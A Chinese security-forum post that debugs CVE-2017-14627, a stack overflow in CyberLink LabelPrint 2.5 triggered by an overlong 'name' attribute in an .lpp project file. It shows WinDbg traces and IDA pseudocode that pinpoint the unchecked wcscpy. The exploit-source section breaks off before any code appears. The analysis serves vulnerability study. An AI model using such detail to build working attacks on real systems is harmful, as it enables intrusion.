首页
社区
课程
招聘
[原创]CVE-2017-14627栈溢出漏洞及exploit的调试与分析
2022-11-28 20:13 16610

[原创]CVE-2017-14627栈溢出漏洞及exploit的调试与分析

2022-11-28 20:13
16610

纸上得来终觉浅,绝知此事要躬行  --陆游

0.前言

最近《漏洞战争》快看完了,也跟着书把漏洞分析了一遍。虽然也有自己的思考,但绝大部分都是复刻书中的操作。以我浅薄的知识,甚至有的时候无法理解某些操作,只好先跟着做,等快分析结束时才能恍然大悟。在分析书中下一个漏洞时,总是有种无从下手的感觉。所以就想着自主分析一下漏洞,顺便沉淀一下所学知识。

1.漏洞描述

CyberLink LabelPrint是一套快速简易的光盘卷标制作软件,支持最新lightscribe光盘封面刻录技术。 CyberLink LabelPrint 2.5中基于堆栈的缓冲区溢出允许远程攻击者通过lpp项目文件中的(1)author(INFORMATION标签内)、(2)name(INFORMATION标签内),(3)artist(TRACK标签内)或(4)default(TEXT标签内)参数执行任意代码。

2.漏洞分析

2.1分析环境

使用的环境 备注
操作系统 Windows7 x32 sp1 简体中文版
漏洞软件 CyberLink LabelPrint 版本号:2.5.0.12508

2.2生成exploit

此漏洞的利用代码在Metasploit有集成,我们以一个弹计算器的形式生成一个exploit:
图片描述
生成的exploit我们打开后,根据漏洞描述可以确定是name属性造成的堆溢出:
图片描述
我们打开exploit可以看到calc成功弹出,接下里就是分析漏洞成因了。
图片描述

2.3定位漏洞函数

首先我们运行LabelPrint,然后打开windbg,并用windbg附加LabelPrint.exe运行,并打开msf.lpp,打开后触发异常:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(f44.968): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07220042 ebx=01571fb0 ecx=00130000 edx=0722807c esi=01571ae8 edi=00000000
eip=7c37042b esp=0012e16c ebp=0012eee4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\CyberLink\LabelPrint\MSVCR71.dll -
MSVCR71!wcscpy+0xb:
7c37042b 668901          mov     word ptr [ecx],ax        ds:0023:00130000=6341
0:000> !address  00130000
 
 
Failed to map Heaps (error 80004005)
Usage:                  MemoryMappedFile
Allocation Base:        00130000
Base Address:           00130000
End Address:            00134000
Region Size:            00004000
Type:                   00040000    MEM_MAPPED
State:                  00001000    MEM_COMMIT
Protect:                00000002    PAGE_READONLY
Mapped file name:       PageFile

可以看到这是调用MSVCR71!wcscpy的时候,由于循环复制内存数据到栈空间时,未能检测复制的内存大小,导致覆盖到00130000这个只读内存空间,最后造成异常。同时我们再看看栈发生什么变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0:000> kb
ChildEBP RetAddr  Args to Child             
WARNING: Stack unwind information not available. Following frames may be wrong.
0012eee4 0001001b 002d0042 00010001 00500042 MSVCR71!wcscpy+0xb
0012eee8 002d0042 00010001 00500042 005c0042 0x1001b
0012eeec 00010001 00500042 005c0042 00250042 0x2d0042
0012eef0 00500042 005c0042 00250042 007e007e 0x10001
0012eef4 005c0042 00250042 007e007e 00250042 0x500042
0012eef8 00250042 007e007e 00250042 00010001 0x5c0042
0012eefc 007e007e 00250042 00010001 00350042 0x250042
0012ef00 00250042 00010001 00350042 007f007f 0x7e007e
0012ef04 00010001 00350042 007f007f 00050042 0x250042
0012ef08 00350042 007f007f 00050042 00440044 0x10001
0012ef0c 007f007f 00050042 00440044 00570042 0x350042
0012ef10 00050042 00440044 00570042 00500042 0x7f007f
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\CyberLink\LabelPrint\LabelPrint.exe
0012ef14 00440044 00570042 00500042 00420042 0x50042
0012ef18 00570042 00500042 00420042 00420042 LabelPrint+0x40044
0012ef1c 00500042 00420042 00420042 00420042 0x570042
0012ef20 00420042 00420042 00420042 00420042 0x500042
0012ef24 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef28 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef2c 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef30 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef34 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef38 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef3c 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef40 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef44 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef48 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef4c 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef50 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef54 00420042 00420042 00420042 00420042 LabelPrint+0x20042
0012ef58 00420042 00420042 00420042 00420042 LabelPrint+0x20042
........

可以看到栈已经被破坏了,反汇编MSVCR71!wcscpy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:000> u MSVCR71!wcscpy
MSVCR71!wcscpy:
7c370420 8b4c2404        mov     ecx,dword ptr [esp+4]
7c370424 8b542408        mov     edx,dword ptr [esp+8]
7c370428 668b02          mov     ax,word ptr [edx]
7c37042b 668901          mov     word ptr [ecx],ax
7c37042e 41              inc     ecx
7c37042f 41              inc     ecx
7c370430 42              inc     edx
7c370431 42              inc     edx
0:000> u
MSVCR71!wcscpy+0x12:
7c370432 6685c0          test    ax,ax
7c370435 75f1            jne     MSVCR71!wcscpy+0x8 (7c370428)
7c370437 8b442404        mov     eax,dword ptr [esp+4]
7c37043b c3              ret

可以看到wcscpy没有自己的栈帧,同时也没有任何改变栈的操作,所以栈顶一定存放着返回地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
0:000> dd esp
0012e16c  004657c8 0012e8a8 07226924 75c13e59
0012e17c  01cba6c0 00120008 75c14677 0721f3dc
0012e18c  002962e0 0012eed4 0048b218 00000000
0012e19c  00410c26 01571ae8 0012e8a8 0012f360
0012e1ac  01571fb0 00000000 00369008 01cba490
0012e1bc  01cba4ac 01cbabd0 0726eda0 0012e234
0012e1cc  01cba458 00000000 00000000 01cba3c8
0012e1dc  05c755dc 760dc744 0012e204 75db3a0c
0:000> ub 004657c8
LabelPrint+0x657b4:
004657b4 7404            je      LabelPrint+0x657ba (004657ba)
004657b6 8b06            mov     eax,dword ptr [esi]
004657b8 eb02            jmp     LabelPrint+0x657bc (004657bc)
004657ba 33c0            xor     eax,eax
004657bc 8b4c242c        mov     ecx,dword ptr [esp+2Ch]
004657c0 50              push    eax
004657c1 51              push    ecx
004657c2 ff150cf14800    call    dword ptr [LabelPrint+0x8f10c (0048f10c)]
0:000> dd 0048f10c
0048f10c  7c370420 7c378a5d 7c379aca 7c3639fc
0048f11c  7c372806 7c38ab8d 7c38b668 7c3901c4
0048f12c  7c370223 7c36240d 7c37043c 7c3745a0
0048f13c  7c391173 7c3902cd 7c375867 7c391a3e
0048f14c  7c390c31 7c39108f 7c37056a 7c386655
0048f15c  7c3704ff 7c378ad2 7c378b03 7c378aeb
0048f16c  7c3703f6 00000000 75c14642 75c13e59
0048f17c  75c13eae 75c36ba7 75c145d2 75c13ed5
0:000> u 7c370420
MSVCR71!wcscpy:
7c370420 8b4c2404        mov     ecx,dword ptr [esp+4]
7c370424 8b542408        mov     edx,dword ptr [esp+8]
7c370428 668b02          mov     ax,word ptr [edx]
7c37042b 668901          mov     word ptr [ecx],ax
7c37042e 41              inc     ecx
7c37042f 41              inc     ecx
7c370430 42              inc     edx
7c370431 42              inc     edx

可以看到函数在004657c2这个地址调用wcscpy进行内存拷贝,我们将此函数暂且称为vulfunc。用IDA中打开此函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __thiscall vulfunc(_DWORD **this, _DWORD *a2, wchar_t *Destination)
{
.....
 
  v10 = 0;
  VariantInit(&pvarg);
  v4 = *this[2];
  v9 = this[2];
  v12 = 0;
  if ( (*(int (__stdcall **)(_DWORD *, _DWORD *, int *))(v4 + 28))(v9, a2, &v10) >= 0 && v10 )
  {
    (*(void (__stdcall **)(int, VARIANTARG *))(*(_DWORD *)v10 + 32))(v10, &pvarg);
    if ( pvarg.vt == 8 )
    {
      sub_4652C0(&pvarg);
      v5 = a2 ? (const wchar_t *)*a2 : 0;
      wcscpy(Destination, v5);  //这里拷贝造成了异常
      if ( a2 )
        sub_40D110(a2);
    }
    VariantClear(&pvarg);
    (*(void (__stdcall **)(int))(*(_DWORD *)v10 + 8))(v10);
    v12 = -1;
    v6 = VariantClear(&pvarg);
    if ( v6 < 0 )
      sub_483340(v6);
    return 0;
  }
    .....

2.4确定函数执行流程

现在我们确定了漏洞函数,重新附加在vulfunc函数头下断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
(a34.5ac): Break instruction exception - code 80000003 (first chance)
eax=7ff9b000 ebx=00000000 ecx=00000000 edx=76faec83 esi=00000000 edi=00000000
eip=76f43c48 esp=0736ff5c ebp=0736ff88 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
76f43c48 cc              int     3
0:016> bp 00465730
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\CyberLink\LabelPrint\LabelPrint.exe
0:016> g
ModLoad: 6da60000 6dab8000   C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll
ModLoad: 6e710000 6e741000   C:\Windows\system32\EhStorShell.dll
ModLoad: 6e6a0000 6e70a000   C:\Windows\System32\cscui.dll
ModLoad: 6e7e0000 6e7e9000   C:\Windows\System32\CSCDLL.dll
ModLoad: 6fa00000 6fa0b000   C:\Windows\system32\CSCAPI.dll
ModLoad: 6e630000 6e6a0000   C:\Windows\system32\ntshrui.dll
ModLoad: 74cb0000 74cc9000   C:\Windows\system32\srvcli.dll
ModLoad: 73620000 7362a000   C:\Windows\system32\slc.dll
ModLoad: 6e620000 6e626000   C:\Windows\system32\IconCodecService.dll
ModLoad: 71590000 715ec000   C:\Windows\System32\StructuredQuery.dll
ModLoad: 6e300000 6e34e000   C:\Windows\system32\actxprxy.dll
ModLoad: 6acf0000 6ad1b000   C:\Program Files\Internet Explorer\ieproxy.dll
ModLoad: 72430000 72446000   C:\Windows\system32\thumbcache.dll
ModLoad: 6dfc0000 6dfee000   C:\Windows\system32\SHDOCVW.dll
ModLoad: 697f0000 69890000   C:\Windows\system32\SearchFolder.dll
ModLoad: 6ca60000 6cbf8000   C:\Windows\system32\NetworkExplorer.dll
ModLoad: 6f4d0000 6f4d9000   C:\Windows\system32\LINKINFO.dll
ModLoad: 73120000 7312f000   C:\Windows\system32\samcli.dll
ModLoad: 73f80000 73f92000   C:\Windows\system32\SAMLIB.dll
ModLoad: 732c0000 732c9000   C:\Windows\system32\netutils.dll
Breakpoint 0 hit
eax=0710591c ebx=01651fb0 ecx=0012e1b8 edx=00000002 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
LabelPrint+0x65730:
00465730 6aff            push    0FFFFFFFFh

断下后运行会发现再次断下,我们在第5次断下的时候再运行才触发异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Breakpoint 0 hit
eax=0710591c ebx=01651fb0 ecx=0012e1b8 edx=00000002 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
LabelPrint+0x65730:
00465730 6aff            push    0FFFFFFFFh
0:000> g
Breakpoint 0 hit
eax=0710578c ebx=01651fb0 ecx=0012e1b8 edx=00000000 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
LabelPrint+0x65730:
00465730 6aff            push    0FFFFFFFFh
0:000> g
Breakpoint 0 hit
eax=0710591c ebx=01651fb0 ecx=0012e1b8 edx=00000000 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
LabelPrint+0x65730:
00465730 6aff            push    0FFFFFFFFh
0:000> g
Breakpoint 0 hit
eax=0710578c ebx=01651fb0 ecx=0012e1b8 edx=00000000 esi=75c13e59 edi=0012e6a0
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
LabelPrint+0x65730:
00465730 6aff            push    0FFFFFFFFh
0:000> g
Breakpoint 0 hit
eax=0710591c ebx=01651fb0 ecx=0012e1b8 edx=0012e8a8 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
LabelPrint+0x65730:
00465730 6aff            push    0FFFFFFFFh
0:000> g
(a34.238): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07190042 ebx=01651fb0 ecx=00130000 edx=07193bec esi=01651ae8 edi=00000000
eip=7c37042b esp=0012e16c ebp=0012eee4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\CyberLink\LabelPrint\MSVCR71.dll -
MSVCR71!wcscpy+0xb:
7c37042b 668901          mov     word ptr [ecx],ax        ds:0023:00130000=6341

重新加载在第5次断下时,查看此时esp,确定函数调用过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Breakpoint 0 hit
eax=06eafea4 ebx=01581fb0 ecx=0012e1b8 edx=0012e8a8 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
LabelPrint+0x65730:
00465730 6aff            push    0FFFFFFFFh
0:000> dd esp
0012e19c  00410c26 06eafea4 0012e8a8 0012f360
0012e1ac  01581fb0 00000000 06dcd8c0 01afa490
0012e1bc  01afa4ac 01afabd0 06e26658 0012e234
0012e1cc  01afa458 00000000 00000000 01afa3c8
0012e1dc  06e0d464 760dc744 0012e204 75db3a0c
0012e1ec  06e389fe 00000000 0012e234 00000000
0012e1fc  00000000 06eafea4 0012e220 06eafef4
0012e20c  06e389fe 06eafea4 0012e234 06eafef4
0:000> ub 00410c26
LabelPrint+0x10c05:
00410c05 e836b6ffff      call    LabelPrint+0xc240 (0040c240)
00410c0a 8b00            mov     eax,dword ptr [eax]
00410c0c 8d942400070000  lea     edx,[esp+700h]
00410c13 52              push    edx
00410c14 50              push    eax
00410c15 8d4c2418        lea     ecx,[esp+18h]
00410c19 c684243c0d000024 mov     byte ptr [esp+0D3Ch],24h
00410c21 e80a4b0500      call    LabelPrint+0x65730 (00465730)  调用vulfunc函数

函数在00410c21地址处调用了vulfunc函数。再用ida查看此函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
....
  v123 = *(_DWORD **)sub_40C240((OLECHAR *)L"title");
  LOBYTE(STACK[0xD30]) = 32;
  vulfunc(&p_bstrString, v123, (wchar_t *)(a1 + 5876)); //1
  v151 = a18;
  LOBYTE(STACK[0xD30]) = 0;
  a2(v151);
  v124 = *(_DWORD **)sub_40C240((OLECHAR *)L"author");
  LOBYTE(STACK[0xD30]) = 33;
  vulfunc(&p_bstrString, v124, (wchar_t *)(a1 + 6396)); //2
  v152 = a20;
  LOBYTE(STACK[0xD30]) = 0;
  a2(v152);
  v125 = *(_DWORD **)sub_40C240((OLECHAR *)L"date");
  LOBYTE(STACK[0xD30]) = 34;
  vulfunc(&p_bstrString, v125, (wchar_t *)(a1 + 6916)); //3
  v153 = a22;
  LOBYTE(STACK[0xD30]) = 0;
  a2(v153);
  LOWORD(STACK[0x2EC]) = 0;
  memset(&STACK[0x2EE], 0, 0x204u);
  LOWORD(STACK[0x4F2]) = 0;
  v126 = *(_DWORD **)sub_40C240((OLECHAR *)L"SystemTime");
  LOBYTE(STACK[0xD30]) = 35;
  vulfunc(&p_bstrString, v126, (wchar_t *)&STACK[0x2EC]); //4
 
  ......
 
  v106 = *(_DWORD **)sub_40C240((OLECHAR *)L"name");
  LOBYTE(STACK[0xD28]) = 36;
  vulfunc(&v156, v106, (wchar_t *)&STACK[0x6F4]); //5

现在我们知道为什么vulfunc要调用5次了。而且这些属性正好和exploit中一一对应。但是在vulfunc中仍进行了两次if判断才最终执行wcscpy。所以想要继续确定执行流程,还得分析vulfunc函数。重新加载在vulfunc函数头下断,在第5次断下时单步跟踪确定执行流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
eax=06eafea4 ebx=01581fb0 ecx=0012e1b8 edx=0012e8a8 esi=75c13e59 edi=00000000
eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
LabelPrint+0x65730:
00465730 6aff            push    0FFFFFFFFh
0:000> dc eax
06eafea4  0061006e 0065006d 00320000 00310030  n.a.m.e...2.0.1.
06eafeb4  00000035 0000004e 00000000 72b6d559  5...N.......Y..r
06eafec4  80000000 0061006b 00650062 0050006c  ....k.a.b.e.l.P.
06eafed4  00690072 0074006e 00460020 006c0069  r.i.n.t. .F.i.l.
06eafee4  00000065 72b6d55c 88000000 00000014  e...\..r........
06eafef4  00790053 00740073 006d0065 00690054  S.y.s.t.e.m.T.i.
06eaff04  0065006d 00000000 00000000 72b6d563  m.e.........c..r
06eaff14  80000000 0061007a 00650062 0050006c  ....z.a.b.e.l.P.
.......
 
eax=0012e180 ebx=01581fb0 ecx=0012e1b8 edx=0012e8a8 esi=0012e1b8 edi=00000000
eip=00465758 esp=0012e174 ebp=0012eee4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
LabelPrint+0x65758:
00465758 ff1588f14800    call    dword ptr [LabelPrint+0x8f188 (0048f188)] ds:0023:0048f188={OLEAUT32!VariantInit (75c13ed5)}
0:000> p
eax=00000000 ebx=01581fb0 ecx=0012e180 edx=0012e8a8 esi=0012e1b8 edi=00000000
eip=0046575e esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
LabelPrint+0x6575e:
0046575e 8b4608          mov     eax,dword ptr [esi+8] ds:0023:0012e1c0=01afabd0
0:000> p
eax=01afabd0 ebx=01581fb0 ecx=0012e180 edx=0012e8a8 esi=0012e1b8 edi=00000000
eip=00465761 esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
LabelPrint+0x65761:
00465761 8b08            mov     ecx,dword ptr [eax]  ds:0023:01afabd0={msxml3!DOMNamedNodeMapList::`vftable' (6927cc90)}

对应的C代码如下
图片描述
上面先是调用VariantInit初始化pvarg,pvarg是变体类型Variant,Variant 是一种特殊的数据类型,除了定长String数据及用户定义类型外,可以包含任何种类的数据。Variant 也可以包含Empty、Error、Nothing及Null等特殊值。VARIANT数据结构包含两个域(如果不考虑保留的域)。vt域描述了第二个域的数据类型。
之后取DOMNamedNodeMapList对象及其虚表指针。
我们接着往下走:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.....
eax=01afabd0 ebx=01581fb0 ecx=6927cc90 edx=06eafea4 esi=0012e1b8 edi=00000000
eip=00465776 esp=0012e16c ebp=0012eee4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
LabelPrint+0x65776:
00465776 ff511c          call    dword ptr [ecx+1Ch]  ds:0023:6927ccac={msxml3!DOMNamedNodeMapList::getNamedItem (6927ce11)}
0:000>
eax=00000000 ebx=01581fb0 ecx=6927ceb2 edx=00000001 esi=0012e1b8 edi=00000000
eip=00465779 esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
LabelPrint+0x65779:
00465779 85c0            test    eax,eax
0:000> p
eax=01dda6c0 ebx=01661fc8 ecx=6991ceb2 edx=00000001 esi=0012e1b8 edi=00000000
eip=00465785 esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
LabelPrint+0x65785:
00465785 85c0            test    eax,eax
0:000> dd eax
01dda6c0  698f6508 698f6608 699b8b60 698f6604
01dda6d0  0000000e 698f8808 698f65c8 015b8640
01dda6e0  00000000 00000000 05ba7c97 0000f7f2
01dda6f0  01dda4e0 01dd00c4 0bbb7c98 0800f7f7
01dda700  0021cfe8 0000000c 003a0043 0050005c
01dda710  006f0072 00720067 006d0061 00610044
01dda720  00610074 0043005c 00620079 00720065
01dda730  0069004c 006b006e 0045005c 006f0076
0:000> ln 698f6508
(698f6508)   msxml3!DOMNode::`vftable'   |  (69932fbc)   msxml3!DOMChildList::`vftable'
Exact matches:
    msxml3!DOMNode::`vftable' = <no type information>
0:000> p
eax=00000000 ebx=01581fb0 ecx=6927ceb2 edx=00000001 esi=0012e1b8 edi=00000000
eip=0046577b esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
LabelPrint+0x6577b:
0046577b 0f8c99000000    jl      LabelPrint+0x6581a (0046581a)           [br=0]

对应的C代码如下:
图片描述
上面调用了DOMNamedNodeMapList::getNamedItem将DOMNode对象传递给v10,接着跟踪:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
.......
eax=01dda6c0 ebx=01661fc8 ecx=6991ceb2 edx=00000001 esi=0012e1b8 edi=00000000
eip=0046578d esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
LabelPrint+0x6578d:
0046578d 8b08            mov     ecx,dword ptr [eax]  ds:0023:01dda6c0={msxml3!DOMNode::`vftable' (698f6508)}
0:000>
eax=01dda6c0 ebx=01661fc8 ecx=698f6508 edx=00000001 esi=0012e1b8 edi=00000000
eip=0046578f esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
LabelPrint+0x6578f:
0046578f 8d542408        lea     edx,[esp+8]
0:000>
eax=01dda6c0 ebx=01661fc8 ecx=698f6508 edx=0012e180 esi=0012e1b8 edi=00000000
eip=00465793 esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
LabelPrint+0x65793:
00465793 52              push    edx
0:000> dd 0012e180                               0012e180 是pvarg的地址
0012e180  00120000 75c14677 00491268 002062e0    这里00120000 的低两位是vt,类型为VarType
0012e190  0012eed4 0048b218 00000000 00410c26    0012e180+8是bstrVal
0012e1a0  07006984 0012e8a8 0012f360 01661fc8
0012e1b0  00000000 05c7d838 01dda490 01dda4ac
0012e1c0  01ddabd0 06f24638 0012e234 01dda458
0012e1d0  00000000 00000000 01dda3c8 06f80f74
0012e1e0  760dc744 0012e204 75db3a0c 06fe9e76
0012e1f0  00000000 0012e234 00000000 00000000
0:000> dc 00491268
00491268  0061006e 0065006d 00000000 00520054  n.a.m.e.....T.R.
00491278  00430041 0000004b 00790053 00740073  A.C.K...S.y.s.t.
00491288  006d0065 00690054 0065006d 00000000  e.m.T.i.m.e.....
00491298  00610064 00650074 00000000 00750061  d.a.t.e.....a.u.
004912a8  00680074 0072006f 00000000 00690074  t.h.o.r.....t.i.
004912b8  006c0074 00000065 004e0049 004f0046  t.l.e...I.N.F.O.
004912c8  004d0052 00540041 004f0049 0000004e  R.M.A.T.I.O.N...
004912d8  006f0062 00640072 00720065 0063005f  b.o.r.d.e.r._.c.
0:000> p
eax=01dda6c0 ebx=01661fc8 ecx=698f6508 edx=0012e180 esi=0012e1b8 edi=00000000
eip=00465794 esp=0012e174 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
LabelPrint+0x65794:
00465794 50              push    eax
0:000>
eax=01dda6c0 ebx=01661fc8 ecx=698f6508 edx=0012e180 esi=0012e1b8 edi=00000000
eip=00465795 esp=0012e170 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
LabelPrint+0x65795:
00465795 ff5120          call    dword ptr [ecx+20h]  ds:0023:698f6528={msxml3!DOMNode::get_nodeValue (6992eb26)}
0:000>
eax=00000000 ebx=01661fc8 ecx=6992ebd1 edx=00000001 esi=0012e1b8 edi=00000000
eip=00465798 esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
LabelPrint+0x65798:
00465798 66837c240808    cmp     word ptr [esp+8],8       ss:0023:0012e180=0008
0:000> dd 0012e180                                  0012e180 是pvarg的地址
0012e180  00120008 75c14677 06fb65f4 002062e0       00120008 低两位为8代表字符串
0012e190  0012eed4 0048b218 00000000 00410c26       0012e180+8是bstrVal
0012e1a0  07006984 0012e8a8 0012f360 01661fc8
0012e1b0  00000000 05c7d838 01dda490 01dda4ac
0012e1c0  01ddabd0 06f24638 0012e234 01dda458
0012e1d0  00000000 00000000 01dda3c8 06f80f74
0012e1e0  760dc744 0012e204 75db3a0c 06fe9e76
0012e1f0  00000000 0012e234 00000000 00000000
0:000> dc 06fb65f4
06fb65f4  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
06fb6604  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
06fb6614  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
06fb6624  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
06fb6634  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
06fb6644  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
06fb6654  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.
06fb6664  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.

对应C代码如下
图片描述
VarType如下
图片描述
由上可知通过调用DOMNode::get_nodeValue将pvarg.vt赋值为8,同时取name属性中的值放入pvarg.bstrVal中。
接下来就是一些数值传递:
图片描述
最后调用拷贝函数,在此之前需要确定拷贝的目标地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
eax=06fbdb3c ebx=01661fc8 ecx=0012e8a8 edx=00000000 esi=0167ca60 edi=00000000
eip=004657c0 esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
LabelPrint+0x657c0:
004657c0 50              push    eax
0:000>
eax=06fbdb3c ebx=01661fc8 ecx=0012e8a8 edx=00000000 esi=0167ca60 edi=00000000
eip=004657c1 esp=0012e174 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
LabelPrint+0x657c1:
004657c1 51              push    ecx
0:000>
eax=06fbdb3c ebx=01661fc8 ecx=0012e8a8 edx=00000000 esi=0167ca60 edi=00000000
eip=004657c2 esp=0012e170 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
LabelPrint+0x657c2:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\CyberLink\LabelPrint\MSVCR71.dll -
004657c2 ff150cf14800    call    dword ptr [LabelPrint+0x8f10c (0048f10c)] ds:0023:0048f10c={MSVCR71!wcscpy (7c370420)}

拷贝的目标地址为0012e8a8。

2.5小总结

由于程序在调用vulfunc读取属性值的时候,没有计算属性值所占用的空间大小,最终在复制时导致溢出。

3.exploit分析

3.1msf exploit源码

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
